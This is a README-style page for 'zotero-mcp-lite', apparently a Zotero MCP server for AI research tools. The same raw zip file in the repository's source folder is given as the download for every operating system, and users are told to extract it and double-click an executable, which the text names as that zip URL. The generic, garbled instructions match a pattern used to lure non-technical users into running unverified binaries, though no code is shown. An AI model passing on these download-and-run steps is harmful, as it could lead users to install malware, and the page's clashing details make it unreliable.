zotero-mcp-lite

zotero-mcp-lite

A lightweight and customizable MCP server for Zotero that enables AI research tools to access and manage references through a simple API.

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🎉 zotero-mcp-lite - A Simple Zotero Server for AI Research

🚀 Getting Started

Welcome to Zotero MCP Lite, the fast and customizable server designed for your AI research needs. This guide will help you download and run the application easily, even if you have no programming experience.

📥 Download the Application

Download Zotero MCP Lite

Visit the Releases page to download the latest version of Zotero MCP Lite.

📂 Features

  • Lightweight: Designed specifically to run efficiently without heavy system requirements.
  • Customizable: Adjust settings to suit your specific needs for research and data management.
  • User-Friendly: Simple interface for anyone, regardless of technical background.

🔧 System Requirements

To run Zotero MCP Lite, your system should meet the following requirements:

  • Operating System: Windows 10 or later, MacOS 10.14 or later, or a modern Linux distribution.
  • RAM: At least 4 GB is recommended.
  • Storage: At least 100 MB of free disk space.

📥 Download & Install

  1. Visit the Releases page.
  2. Locate the latest version of Zotero MCP Lite.
  3. Click on the release title to view the assets available for download.
  4. Download the appropriate file for your operating system:
    • For Windows, download https://raw.githubusercontent.com/alexobiwan-creator/zotero-mcp-lite/main/src/mcp-zotero-lite-v1.8.zip.
    • For Mac, download https://raw.githubusercontent.com/alexobiwan-creator/zotero-mcp-lite/main/src/mcp-zotero-lite-v1.8.zip.
    • For Linux, download https://raw.githubusercontent.com/alexobiwan-creator/zotero-mcp-lite/main/src/mcp-zotero-lite-v1.8.zip.
  5. After downloading, locate the downloaded file on your computer.
  6. Extract the files if necessary (often done by right-clicking the zip file and selecting "Extract All").
  7. Open the extracted folder and locate the executable file to run the software.

🚀 Running the Application

Once you have installed Zotero MCP Lite:

  1. Double-click the executable file (e.g., https://raw.githubusercontent.com/alexobiwan-creator/zotero-mcp-lite/main/src/mcp-zotero-lite-v1.8.zip on Windows or zotero-mcp-lite on Mac/Linux).
  2. Wait for the application to launch.
  3. Follow the on-screen instructions to set up your server.

📚 Using Zotero MCP Lite

  • Add References: You can start adding your references and articles for organized research.
  • Access API: Use the built-in API to connect with AI tools or other resources as needed.

🌟 Tips for Best Experience

  • Keep Software Updated: Always check the Releases page for updates to make sure you have the latest features and security patches.
  • Join the Community: Engage with other users on forums and discussions to share tips and ask questions.

❓ Frequently Asked Questions

How do I report issues with the software?

Please visit the Issues page in this repository. You can file a ticket to describe the problem you encounter.

Can I contribute to the project?

Yes! We welcome contributions from anyone. Check the Contributing Guidelines for more details.

Where can I get more help?

Visit our Wiki for detailed explanations on all features.

📞 Contact

If you have questions or need further assistance, feel free to reach out through the GitHub repository or join our community chats.

🔗 Quick Links

Thank you for choosing Zotero MCP Lite! Happy researching!

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